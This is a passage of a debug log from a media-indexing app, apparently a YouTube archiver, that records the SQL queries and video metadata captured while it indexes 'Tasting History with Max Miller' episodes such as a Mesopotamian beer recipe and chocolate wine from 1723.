\nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", "id" => "MO0lKDNKxmE", "original_url" => "https://www.youtube.com/watch?v=MO0lKDNKxmE", "playlist_index" => 14, "title" => "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "upload_date" => "20251223"} 02:51:19.269 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:19.269 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:19.271 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-23 00:00:00Z], 3] 02:51:19.273 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "1d436a57-a240-4230-80b1-f43a21cbfe16", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", false, false, 14, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, false, 3, [], 98, ~U[2025-12-23 00:00:00Z], ~U[2026-03-29 06:51:19Z], ~U[2026-03-29 06:51:19Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\nIn the Land of Ninkasi by Tate Paulette - https://amzn.to/49hDzAd\nTable of Gods - https://www.tableofgods.com/\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nJehu King of Israel is seen kneeling before King Shalmaneser III of Assyria offering him tribute. This relief is part of Black Obelisk of Shalmaneser III in the British Museum. Photo Credit: Steven G. Johnson / Wikimedia Commons / CC-BY-SA-3.0 \nAshurnasirpal on the throne - By Anthony Huan - https://www.flickr.com/photos/anthony..., CC BY-SA 2.0, https://commons.wikimedia.org/w/index...\nAssyria Map: By John D. Croft at English Wikipedia, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\nThe Bronze Age Collapse Map - Simon Netchev, Creative Commons, https://www.worldhistory.org/image/15...\nEngravings of the brass gates of Balawat: By Mohmmd Abd - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index... \nZiggurat of Assur: By Fakhri Mahmood - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Brewing 3,000 Year-Old Ancient Mesopotamian Beer", "MO0lKDNKxmE", "https://www.youtube.com/watch?v=MO0lKDNKxmE", nil, false, "/downloads/Tasting History with Max Miller/2025-12-23 Brewing 3,000 Year-Old Ancient Mesopotamian Beer/Brewing 3,000 Year-Old Ancient Mesopotamian Beer [MO0lKDNKxmE].NA", false, 3, ~U[2025-12-23 00:00:00Z]] 02:51:19.273 [debug] QUERY OK source="sources" db=0.1ms idle=565.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:19.273 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:19.274 [debug] QUERY OK source="media_items" db=0.2ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5447] 02:51:19.274 [debug] Current batch of media processed. Will check again in 1000ms 02:51:20.274 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", "id" => "0XHVOnKrk0I", "original_url" => "https://www.youtube.com/watch?v=0XHVOnKrk0I", "playlist_index" => 15, "title" => "Chocolate Wine from 1723", "upload_date" => "20251219"} 02:51:20.275 [debug] QUERY OK source="sources" db=0.2ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:20.275 [debug] QUERY OK source="sources" db=0.1ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:20.277 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 00:00:00Z], 3] 02:51:20.339 [debug] QUERY OK source="media_items" db=61.7ms idle=1003.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "27e92b17-5858-419b-83c6-2b2e3304c4d7", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", false, false, 15, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, false, 3, [], 98, ~U[2025-12-19 00:00:00Z], ~U[2026-03-29 06:51:20Z], ~U[2026-03-29 06:51:20Z], "Order the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nWatch Christiaan make a chocolate wine pie here: \n\nhttps://www.instagram.com/reel/DSc2hz...\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nChocolate Kitchen at Hampton Court - Joyofmuseums, CC BY-SA 4.0 https://creativecommons.org/licenses/..., via Wikimedia Commons\n\n#tastinghistory", "Chocolate Wine from 1723", "0XHVOnKrk0I", "https://www.youtube.com/watch?v=0XHVOnKrk0I", nil, false, "/downloads/Tasting History with Max Miller/2025-12-19 Chocolate Wine from 1723/Chocolate Wine from 1723 [0XHVOnKrk0I].NA", false, 3, ~U[2025-12-19 00:00:00Z]] 02:51:20.339 [debug] QUERY OK source="sources" db=0.2ms idle=631.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:20.340 [debug] QUERY OK source="media_profiles" db=0.1ms idle=64.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:20.340 [debug] QUERY OK source="media_items" db=0.2ms idle=64.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5174] 02:51:20.341 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "filename" => "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", "id" => "g3IAXRkyl1s", "original_url" => "https://www.youtube.com/watch?v=g3IAXRkyl1s", "playlist_index" => 16, "title" => "World War 2 Mincemeat Pie for the Battle of the Bulge", "upload_date" => "20251216"} 02:51:20.341 [debug] QUERY OK source="sources" db=0.2ms idle=63.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:20.341 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:20.343 [debug] QUERY OK source="media_items" db=1.2ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-16 00:00:00Z], 3] 02:51:20.344 [debug] QUERY OK source="media_items" db=1.0ms idle=3.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "f8c0dbdb-99c4-4077-90e5-176cda79863f", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", false, false, 16, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, false, 3, [], 98, ~U[2025-12-16 00:00:00Z], ~U[2026-03-29 06:51:20Z], ~U[2026-03-29 06:51:20Z], "Thank you to Bombas for sponsoring this video! Head to https://bombas.yt.link/0xWsLEg and use code tastinghistory20 at checkout for 20% off your first purchase.\n\nWatch GeanaVlogger’s video on my family history here - \u00A0\u00A0\u00A0•\u00A0From\u00A0Guerrilla\u00A0Fighter\u00A0to\u00A0U.S.\u00A0Citizen:\u00A0Ma...\u00A0\u00A0\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "World War 2 Mincemeat Pie for the Battle of the Bulge", "g3IAXRkyl1s", "https://www.youtube.com/watch?v=g3IAXRkyl1s", nil, false, "/downloads/Tasting History with Max Miller/2025-12-16 World War 2 Mincemeat Pie for the Battle of the Bulge/World War 2 Mincemeat Pie for the Battle of the Bulge [g3IAXRkyl1s].NA", false, 3, ~U[2025-12-16 00:00:00Z]] 02:51:20.344 [debug] QUERY OK source="sources" db=0.1ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:20.345 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:20.345 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND 